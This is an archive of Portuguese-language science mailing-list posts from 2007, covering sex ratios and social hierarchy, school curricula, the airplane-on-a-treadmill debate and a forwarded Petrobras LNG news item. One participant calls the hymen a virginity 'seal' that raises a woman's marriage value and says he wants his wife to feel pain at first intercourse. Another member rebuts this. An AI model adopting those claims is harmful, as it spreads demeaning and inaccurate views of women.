sutilezas poderiam ser detectadas pela evolução.

> > Outra questão. Alguém sabe se a função do hímen é anatômica ou
> > social? Eu creio que o hímen é uma espécie de lacre que garante a
> > virgindade de uma mulher de forma a aumentar o seu valor no
mercado
> > matrimonial.

> O difícil é testar essa hipótese.

Poderíamos ver, através de escaneamento cerebral, como os homens
reagem à contemplação de um hímen. Eu confesso que nunca vi um e não
sei se ele provoca alguma sensação. Desconfio que não, pois se assim
fosse, o universo pornô estaria cheio de imagens de hímens. Talvez o
ato da mulher sentir dor durante a primeira penetração possa
estimular alguma coisa no homem. Poderíamos monitorar sua atividade
cerebral durante o ato sexual para ver se isso procede. É complicado,
pois talvez isso se aplique apenas ao penetrar uma esposa, e não
outra mulher qualquer. Que casal vai querer, em sua primeira noite de
núpcias, ter sua atividade cerebral monitorada? Mas pensando aqui
comigo, acho que eu gostaria, em minha primeira noite de núpcias, que
minha esposa sentisse dor ao ser penetrada. É um prazer meio sádico,
mas o sadomasoquismo parece ser um componente importante da
sexualidade.

Saudações.
João de Carvalho.




SUBJECT: Re: Questões sociobiológicas
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 22:44

Olá João

João: "A seleção natural deveria ter percebido isso."

Ela percebeu. Há uma interessante discussão sobre o motivo de
existirem tantos homens quanto mulheres, quando a lógica evolutiva (no
sentido, incorreto, de ter como objetivo o maior número de
descendentes), e não mais mulheres que homens, em um dos livros de
Dawkins (vou procurar a fonte e posto na lista).

Acontece que a seleção não tem objetivos de verdade, ela não pode
"prever" o melhor comportamento ou forma, ela pode apenas selecionar a
partir do material existente e com os filtros existentes, de forma cega.

Se pudesse prever, escolher uma forma de agir direcionada, existiriam
sempre poucos machos, que podem fecundar muitas mulheres, e muitas
fêmeas em todo grupo, em especial em mamíferos.

Mas qualquer grupo com mais mulheres que homens, criará uma vantagem
evolutiva para qualquer gene que tenda a produzir mais machos em cada
ninhada. Logo esse genes, para produzir mais machos, será dominante, e
agora teremos mais machos que fêmeas.

Nesse momento, será uma vantagem evolutiva ter mais filhos fêmeas. E
os genes que pressionarem nesse sentido se tornarão maioria no pool
genético da espécie.

Ou seja, o equilíbrio deveria ser a norma, como de fato é. A não ser
em situações especiais, onde o sistema genético difere em termos de
sexo. Como em insetos haplodiploides.

Nesse caso, um punhado de machos e milhares de fêmeas deveria ser a
norma, e é. Formigas operárias são mais aparentadas com suas irmãs,
filhas da rainha, que com possíveis filhos que tivessem.

E em determinadas espécies de ácaros, que se formam, crescem e
fecundam as fêmeas dentro do abdomem de sua mãe, existem um macho e
diversas fêmeas, pois não há mais a pressão para o equilíbrio.

Outro ponto em relação a hierarquia grupal, é que sempre há a
possibilidade de se passar os genes fora do topo da pirâmide, como no
caso dos elefantes marinhos. Todo harém de fêmeas "pertence" ao macho
dominante, que expulsa os invasores a tapa. Mas, enquanto ele luta com
um invasor, outros podem copular nas beiradas do harém..:-)

De toda forma, é preciso cuidado com a análise das pressões
evolutivas, em especial com a idéia de "finalidade" ou objetivo da
evolução, como se ela soubesse para onde ir ou o que fazer. Em geral,
é essa confusão quanto a evolução que nos induz a erros de avaliação
nos casos concretos.

Um abraço.

Homero




SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 22:47

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Sim. Mas os descendentes serão mais ou menos viáveis dependendo da
> posição social e do sexo.

Esses são apenas dois de diversos fatores - e se serão mais ou se
serão menos viáveis dependerá da interação entre esses fatores. Isolar
cada variável é muito, mas muito difícil - especialmente no caso
humano em q há limitações éticas qto aos tipos de experimentos se
podem fazer.

> Um homem de alta hierarquia pode deixar uma prole mais numerosa que
> um de baixa.

Ou não. Alta hierarquia envolve casamentos arranjados, partilhas de
poder e outros elementos. Uma melhor posição social pode significar em
vez de uma prole maior, uma oportunidade de investir mais qualidade
para uma prole menor.

> A seleção natural deveria ter percebido isso.

A seleção natural só percebe se: houver diferença de oportunidades - o
q implica tb na existência de variabilidade.

Vejamos o caso de macacos. Machos de hierarquia menor forjam aliança
para destituir o macho dominante. E com isso eles sobem no degrau
social. Se a seleção houvesse os amarrados em uma estratégia
reprodutiva, com a mudança no quadro a estratégia antiga tenderia a
falhar.

> Mas pensando aqui comigo, acho que eu gostaria, em minha primeira
> noite de núpcias, que minha esposa sentisse dor ao ser penetrada.

Gemido de dor é altamente brochante. Além disso, ela tenderá a ter sua
musculatura contraída, dificultando a penetração. Fora q a presença de
hímen não é indicador de q haverá dor - embora em geral irrigado não é
particularmente inervado.

Para estabelecer um cenário, embora não seja o suficiente, é
necessário primeiro conhecer a distribuição da característica na
população. Devido à variação ampla na morfologia e constituição do
hímen - incluindo mulheres com hímen muito incipiente - corre-se o
risco, sem a análise da distribuição, de aventar uma explicação para
um padrão inexistente.

[]s,

Roberto Takata



SUBJECT: Re: Percepcao do brasileiro sobre C&T
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 22:48

Recomendo fortemente a leitura atenta dessa pesquisa, principalmente
para aqueles que se preocupam com o ensino e a divulgação científica.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Saiu o resultado da pesquisa encomendada pelo MCT sobre a percepção da
> população a respeito de ciências e tecnologia.
>
> Percepção Pública da Ciência e Tecnologia.
> http://www.mct.gov.br/upd_blob/13462.ppt
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Física
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 22:51

José Renato, desculpe-me mas nem sei do que você está falando. Devo
ter entrado na thread errada. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Pelo menos foi isso que ficou claro nas mensagens dos moderadores, José
> Carlos. O que chama atenção é a pretensão de desqualificar um relato
feito a
> mais de três mil anos sem o devido discernimento. É a partir desses
escritos
> antigos que a humanidade foi se estruturando passo- a-passo no
conhecimento
> do mundo e na arte da convivência e relacionamento
> político-econômico-social. É como alguns ainda acham engraçado o 14
Bis voar
> algumas centenas de metros, a 25km/h e ainda ser notícia no mundo todo.
> Lembro quando ainda era adolescente e passou o primeiro avião a jato
sobre
> nossa casa. Chamamos nossa avó com desafiante orgulho, para lhe
mostrar que
> éramos da "era do jato". Ela olhou, sorriu e comentou: muito
interessante,
> mas não é tão surpreendente, lembro que o que surpreendeu a todos que
> estavam próximos de nós, foi assistir Santos Dumont manobrar seu
dirigível,
> estacionar no alto dos prédios e descer para tomar um café, em
Paris... Foi
> preciso Leonardo Da Vince e muitos outros estudar aerodinâmica,
desenhar
> projetos, testar, falhar, recomeçar, para que a aeronáutica chegasse ao
> progresso que hoje apresenta. Olhar os textos antigos sem o enfoque
> histórico devido é tolo anacronismo...
>
> []s
>
> JR
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 26, 2007 12:45 AM
> Subject: [ciencialist] Re: Fw: Física
>
>
> Textos bíblicos não se discutem. :)
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Senhores, José Carlos e Luiz!
> >
> > Se vcs continuarem a discutir textos bíblicos com esse conhecimento
> > que vcs demonstram possuir, serão excluídos da lista ou severamente
> > de punidos com um curso básico de catecismo aos sábados de tarde.
> >
> > O que o aluno parece desconhecer é matemática escalar, cálculo
> > vetorial e assessórios. Tenho dúvidas se ele já teve aula sobre isso
> > antes ou nesse primeiro ano do curso médio.
> >
> > []s
> >
> > JR
> > ...........................................
> >
> > From: "Luiz Ferraz Netto" <leobarretos@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Tuesday, April 24, 2007 8:37 AM
> > Subject: Re: [ciencialist] Re: Fw: Física
> >
> >
> > Olá JC, no texto abaixo.
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@
> > http://www.feiradeciencias.com.br
> > ===========================
> >
> >
> > >Oi Léo,
> > Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<
> >
> > Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que
> "errar é
> > humano", bem longe de meu caso! :-)
> >
> > >Mas, falando sério, nada contra postar as dúvidas dos consulentes
> > desde que se possa também postar as dúvidas do José Renato e do
> > Ferrari. A diferença entre eles não é assim tão grande quando se trata
> > de entender de "Física". :)<
> >
> > Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc., para
> > ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do
> Alcorão etc.
> > para sanar quaisquer dúvidas científicas. Ainda bem que a arca de
> noé não
> > decolou! Pobre dilúvio que 'cobriu toda a terra', onde estarão essas
> águas
> > hoje? foram para o espaço? A terra subiu? Noé, pobre pescador, não
> poude nem
> > pescar durante os 40 dias e noites --- pois só levou um casal de
> minhocas!
> > Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm
> certezas! O
> > que dogmas não fazem com as pessoas!
> >
> > >Recomende ao Cristian que baixe livros online de boa qualidade. Eles
> > podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
> > site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
> > menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
> > material didático para consulta -> "escolha qual quiser"). Está tudo e
> > pdf.<
> >
> > Essa é a resposta que darei ao consulente. Agradeço.
> >
> > >Porém, sabemos que esses meninos não querem livros, querem respostas
> > prontas para as perguntas do professor. :)<
> >
> > Não são só os alunos que não querem nada com nada! Já viu como os
> > 'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os
> menos ruins
> > copy/past!
> > Semana passada tive um professor de física perguntando o que vem a ser
> > 'garrafa de leidim'.
> >
> > >Além disso, Cinemática Escalar, ninguém merece mesmo! :)))
Abraços, JC<
> >
> > Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
> > geométrica para iniciar o ano e complementaria o ano com estática e
> > hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou
> algo do
> > gênero; cinemática é basicamente estudo das funções, coisa que o aluno
> > poderia aprender (funções, noções de limite, derivada) na matemática
> do 1º
> > ano.
> >
> > aquele abraço,
> >
> > Léo
> >
> > ===============
>




SUBJECT: Re: Questões sociobiológicas
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 22:54

João,

Porque você acha que o darwinismo vê, ou deveria ver, algum sentido na
relação entre sexo e heirarquia?

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> De acordo com o darwinismo, faz sentido que homens de alta hierarquia
> tenham mais filhos homens, e homens de baixa hierarquia tenham mais
> filhas mulheres. Mas parece que isso não ocorre. Está certo que a
> seleção natural não necessariamente percorre os melhores caminhos
> possíveis, mas parece um passo tão simples inibir ou estimular a
> produção de espermatozóides Y de acordo com a concentração de
> serotonina ou testosterona. Talvez a resposta seja que, no ambiente
> ancestral, um filho de um homem de alta hierarquia não
> necessariamente teria alta hierarquia. Ou então que no ambiente
> ancestral a forma de organização social fosse um matriarcado tipo o
> dos bonobos (o que acho improvável), no qual o prestígio de um homem
> é dado pelo prestígio de sua mãe. Para uma mulher poder definir se
> seu filho será homem ou mulher pode ser um passo evolutivo mais
> complicado.
>
> Outra questão. Alguém sabe se a função do hímen é anatômica ou
> social? Eu creio que o hímen é uma espécie de lacre que garante a
> virgindade de uma mulher de forma a aumentar o seu valor no mercado
> matrimonial.
>
> João de Carvalho.
>




SUBJECT: O que ensinar nas escolas - (era Arca de Noé - era Re: Fw: Física)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 23:07

Oi Homero,

O triste é que me parece que aquele texto continuará atual por muito
tempo. :(

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...> escreveu
>
> Olá JC
>
> Puxa, excelente texto, que eu gostaria de ter escrito..:-) É o que
penso, mas dito de forma muito melhor, mais bem elaborada e mais
ampla, vou guardar como referência aara a próxima vez (e serão
muitas..:-) que alguém me disser que "é bobagem estudar tudo isso na
escola, se nunca mais vamos usar"..:-)
>
> Um abraço.
>
> Homero
>
>
>
> ----- Original Message -----
> From: José Carlos Antonio
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, April 26, 2007 12:41 AM
> Subject: [ciencialist] O que ensinar nas escolas - (era Arca de
Noé - era Re: Fw: Física)
>
>
> Homero,
>
> Escrevi sobre isso em 2004:
>
> http://www.ciadaescola.com.br/zoom/materia.asp?materia=220
>
> Veja se mudou algo de lá para cá...
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
escreveu
> >
> > Olá pessoal
> >
> > Permitam-me dar uns "pitacos" nessa questão da grade curricular e do
> > que ensinar nas escolas. Não sou professor, pelo menos não
> > formalmente, mas sempre fico um tanto ressabiado quando escuto que a
> > "escola ensina muita bobagem e coisas sem necessidade, como
física ou
> > logarítimos".
> >
> > É recorrente que se critique o conteúdo, afirmando que "não
serve para
> > nada" ou que "eu nunca vou usar isso, para que ter de decorar
fórmulas
> > de química ou entender equações de segundo grau". Ou mais
direcionado
> > como "vou ser advogado, para que estudar física e matemática".
> >
> > Nossa mente, nosso cérebro, como qualquer órgão humano, e qualquer
> > processo metabólico, se fortalece com o uso e definha com o desuso.
> > Aprendemos para permitir que o cérebro se fortaleça, e parar de
> > aprender o faz definhar.
> >
> > Todas as pesquisas recentes demonstram que manter a atividade
> > intelectual, até mesmo com palavras cruzadas, diminui ou mesmo
impede
> > diversos processos de degeneração cerebral, até Alzheimer.
> >
> > Além disso, uma educação básica formal permite um melhor
exercício de
> > cidadania, uma base mais sólida para o pensamento crítico (sempre
> > penso que se a população compreendesse melhor a matemática
estatística
> > e as probabilidades, seria menos vulnerável a charlatões de todos os
> > tipos), e ainda permite uma maior auto-estima pessoal.
> >
> > Entender física, aprender matemática, química, biologia, história,
> > etc, a base de todo conhecimento moderno que sustenta nossa
> > civilização, não é um esforço "inútil", nem são dispensáveis. No
> > mínimo, ele permite fortalecer a mente de forma que esta possa, no
> > futuro, aprender outras coisas mais úteis para a vida diária.
> >
> > O esforço para aprender equações de segundo e terceiro grau, para
> > aprender e entender logarítimos, será sempre útil, afiando a mente
> > para desafios futuros, uma espécie de "musculação" cerebral. Da
mesma
> > forma como um jogador de futebol exercita seus braços, e um
jogador de
> > tênis exercita seu braço esquerdo, precisamos de cada capacidade
> > cerebral que possamos desenvolver.
> >
> > É claro que o currículo escolar pode, e deve, ser ajustado,
> > atualizado, revisto, etc. O que era importante ontem pode não ser
> > hoje, e como não podemos ensinar TUDO que o conhecimento moderno
> > acumulou (acho que a última época em que isso foi possível foi no
> > tempo de Leonardo Da Vince), algo deve ser escolhido.
> >
> > Mas não para facilitar a vida do estudante ou para excluir coisas
> > "inúteis". Não há algo como informação ou "cultura inútil", eu
penso.
> > Toda informação é, ou pode ser, útil, e não sabemos quando isso
poderá
> > acontecer.
> >
> > Portanto, não importa que um adulto jamais se lembre de como
resolver
> > uma equação de segundo grau aprendida no colegial, importa que
ao ter
> > feito o esforço de aprender, na época, seu cérebro, em um período de
> > formação importante, adquiriu mais uma habilidade, se preparou para
> > mais uma função cognitiva, que permitirá uma maior capacidade
> > intelectual no futuro. Mesmo que esta nada tenha a ver com a equação
> > propriamente dita.
> >
> > Um abraço.
> >
> > Homero
> >
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 23:40

Olá, Hélio! Seu discurso abaixo não lhe dá condições para concluir que o
avião voa. Se a esteira quebrar e parar as premissas do problema não serão
atendidas. Sugiro que vc ache um tempo para refletir com calma sobre a
questão. Leia as últimas respostas que escrevi a JC e Luiz.
[]s
JR
........................................

From: "Hélio Ricardo Carvalho" <hrc@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 25, 2007 12:27 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Renato et al.

Eu falei que não ia voltar a isto mas não dá para segurar.

--- Em ciencialist@yahoogrupos.com.br, José Renato disse entre outras
coisas:

"Há o avião e a esteira. No enunciado não se fala no chão"

E eu digo:

Se a velocidade do avião é em relação à esteira e a velocidade da
esteira é em relação ao avião, não importa o que o controle do motor
da esteira faça. Estas duas velocidades sempre serão iguais em módulo
e opostas em sentido mesmo quando o motor que roda a esteira quebrar
por super aquecimento e ela parar estas duas velocidades serão sempre
iguais em módulo. :-)
E o avião, independente de tudo isto, voará.

Veja também minhas outras mensagens neste assunto.
http://br.groups.yahoo.com/group/ciencialist/message/62268
http://br.groups.yahoo.com/group/ciencialist/message/62311

Hélio



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Página de apoio
http://www.ciencialist.com


##### ##### ##### #####
Links do Yahoo! Grupos



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Para alterar a categoria classificada, visite
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Esta mensagem foi verificada pelo E-mail Protegido Terra.
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5.1.00/5016
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--
No virus found in this incoming message.
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Version: 7.5.463 / Virus Database: 269.6.0/775 - Release Date: 24/4/2007
17:43




SUBJECT: Fw: *BR* Petrobras fecha contrato para importar gás da Nigéria
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, "Pela Legitima Defesa" <pld@pelalegitimadefesa.org.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, "Reflita Brasil" <reflitabrasil@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 27/04/2007 00:15




Petrobras fecha contrato para importar gás da Nigéria
O Globo Online

RIO - Para garantir o abastecimento nacional, diante de problemas no abastecimento da Bolívia, assinou um "contrato de intenções" para a compra de Gás Natural Liquefeito da Nigerian LNG. O acordo estabelece as condições para eventuais transações entre as empresas, sempre que houver necessidade por parte da Petrobras.

O acordo foi fechado em Barcelona, pelo diretor da área de Gás da Petrobras, Ildo Sauer.

A estatal brasileira também fechou um acordo de confidencialidade com a Oman LNG para a negociação de potencial suprimento. O primeiro navio, de acordo com ele, deve começar a transportar GNL em abril de 2008. O segundo, no primeiro trimestre de 2009. A Petrobras estuda, ainda, a contratação de mais uma embarcação.

Ao conversar com a imprensa, Sauer afirmou que este contrato com a empresa nigeriana garantirá o suprimento aos navios que estão sendo afretados com a norueguesa Golar, conforme anunciado dias atrás.

Sauer participa da 15ª Conferência Internacional de Gás Natural Liquefeito (LNG 15), maior evento mundial do setor.

- Quando estiverem operando, (esses navios) acrescentarão de 20 a 21 milhões de metros cúbicos/dia ao suprimento nacional de gás. Um terceiro navio pode trazer mais 14 milhões de metros cúbicos/dia - disse.

Ele destacou a flexibilidade dos contratos de GNL e estimou que o suprimento será capaz de abastecer metade das termelétricas brasileiras.

Na semana passada, a empresa brasileira teve o transporte de parte da produção boliviana destinada ao Brasil suspenso, em função de conflitos locais.
----------------------------------------------------------

20/04/2007 - 20h41
Petrobras aprova fretamento de navios para regaseificação de GNL

da Folha Online

A Petrobras aprovou nesta sexta-feira a contratação da empresa Golar LNG para o fretamento das embarcações para os terminais de GNL (gás natural liquefeito) da Baía da Guanabara, no Rio de Janeiro, e de Pecém, no Ceará. São duas unidades flutuantes de regaseificação e armazenamento que podem também ser usadas no transporte de GNL.

Segundos a companhia, uma das unidades terá capacidade de regaseificar até 14 milhões de metros cúbicos de gás por dia, e a outra, até 7 milhões. A primeira delas deverá entrar em operação no primeiro semestre de 2008. O custo do fretamento dos dois navios totalizará cerca de US$ 90 milhões por ano, incluindo as despesas de operação.

Na próxima quarta-feira o diretor de Gás e Energia da Petrobras, Ildo Sauer, assinará com a Golar a carta compromisso com os termos e condições do contrato de fretamento. A assinatura será em Barcelona, na Espanha, durante a 15ª Conferência Internacional de Gás Natural Liquefeito.

A Petrobras ressaltou que o projeto marca a inserção do Brasil e a entrada da companhia no mercado de GNL e atende aos objetivos estratégicos da empresa: aumentar a flexibilidade do mercado brasileiro de gás natural para atendimento às necessidades de geração termelétrica, diversificar as fontes de suprimento do insumo e antecipar o desenvolvimento deste mercado.
.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/04/2007 00:39

Olá, José Carlos! Vc já esboçou a solução, mas não a está percebendo. Só
falta cair a ficha! Veja a seguir:

[ JC - Se ambos os referenciais são equivalentes, temos então um avião que
voa e que não voa em relação ao chão (que é o mesmo referencial para
detectar o voo nos dois casos), logo, uma das premissas está errada ou ambas
estão erradas, pois uma avião ou voa ou não voa. Se a primeira está errada,
então nenhum avião voa. Mas aviões voam em relação ao chão (não voam?),
logo, a primeira premissa só pode estar certa. Se a primeira premissa está
certa, então a segunda só pode estar errada, pois ambas não podem estar
corretas ao mesmo tempo. ]

Há cerca de dois anos esse problema foi discutido aqui na lista e a resposta
que tentei explicar a vários listeiros, era apenas uma: atendendo as
premissas do enunciado do problema, *o avião não levantava voo*, qualquer
que fosse a velocidade da esteira, que é a mesma do avião em sentido
contrário.
Nessa nova discussão, aceitei a visão dada por Luiz, Homero, Victor, Hélio e
vc, de que o avião voa quando se considera o ponto de ref no chão, mesmo
sabendo que, neste caso, *o avião se desloca com o dobro da velocidade da
esteira*, quando medida em relação a esteira. Aceitei, para tentar, a partir
desse fato de que o avião se desloca com o dobro da vel da esteira e não com
a mesma, obter melhor entendimento por parte dos que assim pensavam. Mas,
ainda não foi dessa vez.
Colo abaixo a *minha interpretação* que parece que vc ainda não leu, visto
que a continua cobrando em seu último e-mail. Nela está todo o "mecanismo"
visualizado da questão, o qual pode ser exercitado materialmente com
esquemas ou modelos...

[ JC - Oras, se o enunciado é aquele, então a velocidade da esteira e do
avião estão dadas em relação ao chão. Você tem alguma dúvida com
relação a isso? Qual? Porque? Qual sua interpretação?
JR1 - Isso está explicado nos esquemas que apresentei. Veja se agora vc
consegue perceber melhor meu raciocínio. Veja. Se o avião está sobre a
esteira que se move para trás e o avião para frente *com a mesma
velocidade*, há uma relação fundamental entre seus movimentos. Isso
fica mais visível quando separamos esses dois movimentos e
consideramos apenas a esteira se movendo e o avião estacionado
sobre ela com as turbinas desligadas. A esteira vai carregar o avião
para trás... Se o avião estivesse com as turbinas ligadas - e se
deslocando *na mesma velocidade* da esteira - ele teria andado
o mesmo espaço *em relação ao chão* que a esteira se deslocou,
isto é, estaria praticamente parado em relação *ao chão e ao ar
que o circunda*. Isso, para qualquer que seja a velocidade da esteira.
Logo, não voa. ]

Abraços

José Renato
.............................................

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 26, 2007 12:24 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

É evidente que essa conversa está interessantíssima. São raros os
momentos em que podemos compartilhar de uma defesa tão veemente sobre
o impossível, principalemente quando essa defesa se transforma apenas
na promessa de uma defesa, mas que não defende nada, como tem sido o
caso.

Você tem um chão, uma esteira sobre o chão e um avião sobre a esteira.
No problema está dito que o avião se move com uma dada velocidade e a
esteira tem a mesma velocidade em sentido contrário. Vamos então
admitir três referênciais sobre os quais o autor "poderia estar falando":

1 - referencial na terra: esse é o óbvio, o que qualquer pessoa normal
adotaria diante do enunciado. Nesse referencial nós teríamos o avião
indo para um lado e a esteira movendo-se no sentido oposto devido ao
mecanismo mencionado no enunciado que tem justamente a função de
fazê-la ter a mesma velocidade que o avião, porém no sentido oposto.
Nessas circunstâncias o avião voa conforme já ficou demonstrado.

2 - referencial no avião: a velocidade do avião é zero, pois ele nunca
muda de posição em relação a si mesmo. Logo, o autor errou ao dizer
que o avião "tem velocidade" e, consequentemente, a esteira não pode
ter a mesma velocidade que o avião no sentido oposto a ele, pois ambos
estariam parados. Nesse caso nada se pode dizer sobre o avião voar,
pois aviões que são o próprio referencial estarão sempre no mesmo
lugar em relação a si mesmos.

3 - referencial na esteira: nesse caso a esteira jamais terá a mesma
velocidade que o avião, em sentido oposto, pois sendo o referencial
ela não tem movimento em relação a si mesma. Novamente o autor viajou
na maionese e disse bobagem. Além disso, como a esteira não tem
velocidade em relação a si mesma e o avião tem a mesma velocidade que
a esteira, ele só poderá estar parado sobre ela. Assim, nada se pode
dizer também sobre o voo do avião já que ele está em repouso o tempo
todo em relação ao referencial e nada foi dito sobre o movimento do ar
em relação à esteira.

Veja, meu pequeno gênio, que só há uma possibilidade onde a esteira e
o avião podem ter, ambos, velocidades opostas: se o referencial for no
chão.

Claro, existe ainda uma outra possibilidade, mas como essa última só
alguém muito intelectualmente perturbado poderia imaginar, eu a
descartei até agora. Em todo caso, se for seu caso (espero que não
seja), existe ainda a possibilidade de que o autor da questão, não
tendo a menor idéia sobre o que escrevia, escreveu uma grande bobagem
(que não parece bobagem para ninguém, exceto você, talvez) que na
verdade "queria dizer" era que "o avião tem uma velocidade v em
relação à esteira e a esteira tem uma velocidade -v em relação ao
chão". Isso sim seria um belo problema de movimento relativo, com esse
enunciado, mas não com o enunciado original, onde não se diz nem se
sugere que se deva usar dois referenciais distintos. Até porque também
poderíamos ter a velocidade do avião dada em relação ao chão e a
velocidade da esteira dada em relação ao avião ou, finalmente, a
velocidade da esteira dada em relação ao avião e a velocidade do avião
dada em relação à esteira. Eu não creio que ninguém sem problemas
possa fazer essas interpretações e como você parece não ter feito
nenhuma interpretação ainda (ainda estou esperando você fazer a sua)
não dá para saber se você também é um desses casos de internação. :)

No mais já exploramos tudo o que poderia ser de alguma utilidade para
se esclarecer enunciados de questões, movimentos relativos e a
dinâmica do vôo e só nos restou a sua óbvia vontade de encerrar o
debate tentando deixar parecer que você tem um dragão na sua garagem
que só você pode ver. :)

Na boa, José Renato, discutir religião é fácil porque nada ali faz
sentido mesmo, mas discutir ciência não é exatamente uma boa forma de
tentar sofismar. :)

Esqueça esse assunto, engate outra conversa, arrume uma desculpa
qualquer e deixemos por encerrada essa trhead, ok?

A propósito: tenho certeza absoluta de que você já sabe agora muito
mais sobre aviões e movimentos do que sabia antes. Só por isso valeu a
pena.

E só para encerrar com chave de ouro, vamos agora resolver o problema
sem nenhuma física, usando apenas a "lógica" (essa coisinha
aristotélica que Galileu usou contra o próprio Aristóteles no célebre
episódio da "queda dos corpos" que descrevo em um dos meus livros
didáticos - onde chão é chão e aviões voam, he he):

"suponhamos que no referencial das pessoas menos dotadas
intelectualmente, isto é, o chão, o avião voe em relação ao chão (até
porque não vejo outra forma de se dizer que o avião voou sem ser em
relação ao chão). Suponhamos também que no referencial das pessoas
muito bem dotadas intelectualmente (seja lá qual for esse referencial)
o avião não voe em relação ao chão. Se ambos os referenciais são
equivalentes, temos então um avião que voa e que não voa em relação ao
chão (que é o mesmo referencial para detectar o voo nos dois casos),
logo, uma das premissas está errada ou ambas estão erradas, pois uma
avião ou voa ou não voa. Se a primeira está errada, então nenhum avião
voa. Mas aviões voam em relação ao chão (não voam?), logo, a primeira
premissa só pode estar certa. Se a primeira premissa está certa, então
a segunda só pode estar errada, pois ambas não podem estar corretas ao
mesmo tempo. Donde conclui-se que em nenhuma demonstração você provará
que o avião pode voar e não voar ao mesmo tempo em relação ao chão,
não importanto o que se diga da velocidade dele em relação a qualuqer
referencial."

Ah sim, não vamos discutir lógica, tá?

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Grato pelos comentários.
> Respondo seus comentários abaixo, após JR1 -, OK?
> ................................................
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 23, 2007 11:48 PM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Vou respondendo, com calma e paciência, logo abaixo dos seus
> comentários... Você merece. :)
> JR1 - Isso é fundamental ao entendimento do que estamos tratando.
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, José Carlos!
> > Esta chegando a hora da verdade. Não dá mais encompridar conversa para
> > tentar esconder a falta de lucidez e atenção para dar as respostas
> > adequadas ao problema apresentado. A melhor atitude depende apenas de
> > você. Analise com clareza. Faço outros comentários no corpo do seu
e-mail,
> > após JR
>
>
> Tentarei, José Renato, tentarei...
> JR1 - Esse é o primeiro passo: disposição.
>
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 23, 2007 7:45 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> > Olá José Renato,
> >
> > Se bem me lembro você já me disse que o enunciado não é seu, logo,
> > decorre daí que também não sendo meu só nos resta nos basearmos
> > naquilo que nos baseamos todos os dias: na experiência e na própria
> > linguagem. Quando falamos em movimentos próximos à superfície da Terra
> > nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
> > queremos tomar outro referencial nós SEMPRE explicitamos isso. Como o
> > autor não explicita nenhum outro referencial, então só nos resta usar
> > a informação padrão.
> > JR - Essa "padronização" não existe, José Carlos. E o fato de vc
> > considerá-la revela que vc deixou de exercitar sua capacidade
